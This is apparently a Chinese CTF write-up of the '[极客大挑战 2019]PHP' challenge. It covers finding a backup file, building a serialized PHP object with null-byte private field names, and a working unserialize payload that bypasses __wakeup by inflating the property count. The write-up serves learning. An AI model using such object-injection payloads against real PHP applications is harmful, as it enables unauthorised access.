当前位置: 首页 > news >正文

web:[极客大挑战 2019]PHP

题目

点进页面显示如下

根据页面提示,这个网站有备份文件,备份文件一般是bak文件格式,用dirsearch扫描

访问之后下载了一个文件

里面都是一些代码

在index.php中发现了一个类的文件,一个get传参,然后将传进的值进行反序列化

在class.php中,如果username===admin,password=100,返回flag

构造一个反序列化

<?phpclass Name{private $username = "admin";private $password = 100;
}
$a = new Name();
$str=serialize($a);
echo $str;
?>

Name和password之间有不可见字符,private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

所以因改为

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

这里还需要绕过__wakeup函数

构造payload

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

总结

1.从__destruct,__construct,__wakeup可以判断存在反序列化漏洞

2.php序列化与反序列化
序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用

3.private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

4.__wakeup函数绕过

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

参考学习链接:

[极客大挑战 2019]PHP

[极客大挑战 2019]PHP unserialize_buuctf [极客大挑战 2019]php-CSDN博客

http://www.lryc.cn/news/179563.html

相关文章:

  • Firefox 开发团队对 Vue 3 进行优化效果显著
  • 【Verilog 教程】6.5 Verilog避免Latch
  • 怒刷LeetCode的第21天(Java版)
  • Armv9 Cortex-A720的L2 memory system 和 L2 Cache
  • 蓝桥等考Python组别九级003
  • Python异步框架大战:FastAPI、Sanic、Tornado VS Go 的 Gin
  • Docker笔记1
  • TensorFlow-Federated简介与安装
  • 【强化学习】基础概念
  • 云原生Kubernetes:K8S集群各组件服务重启
  • 闲话Python编程-循环
  • 建筑能源管理(3)——建筑能源监管
  • 中国逐年干燥度指数数据集
  • Azure Arc 概要:功能、管理和应用场景详解,AZ900 考点示例
  • JavaScript Web APIs第一天笔记
  • 十六.镜头知识之工业镜头的质量判断因素
  • 网络协议--概述
  • aarch64 平台 musl gcc 工具链手动编译方法
  • 计算机图像处理-高斯滤波
  • lv5 嵌入式开发-9 信号机制(上)
  • 460. LFU 缓存
  • YOLOV8 C++ opecv_dnn模块部署
  • STM32 DMA从存储器发送数据到串口
  • Flask连接数据库返回json数据
  • Openresty通过Lua+Redis 实现动态封禁IP
  • 碎片笔记|AIGC核心技术综述
  • 28385-2012 印刷机械 锁线机 学习笔记
  • 【大规模 MIMO 检测】基于ADMM的大型MU-MIMO无穷大范数检测研究(Matlab代码实现)
  • MySQL数据库记录的删除操作与特殊字符
  • 什么是TypeScript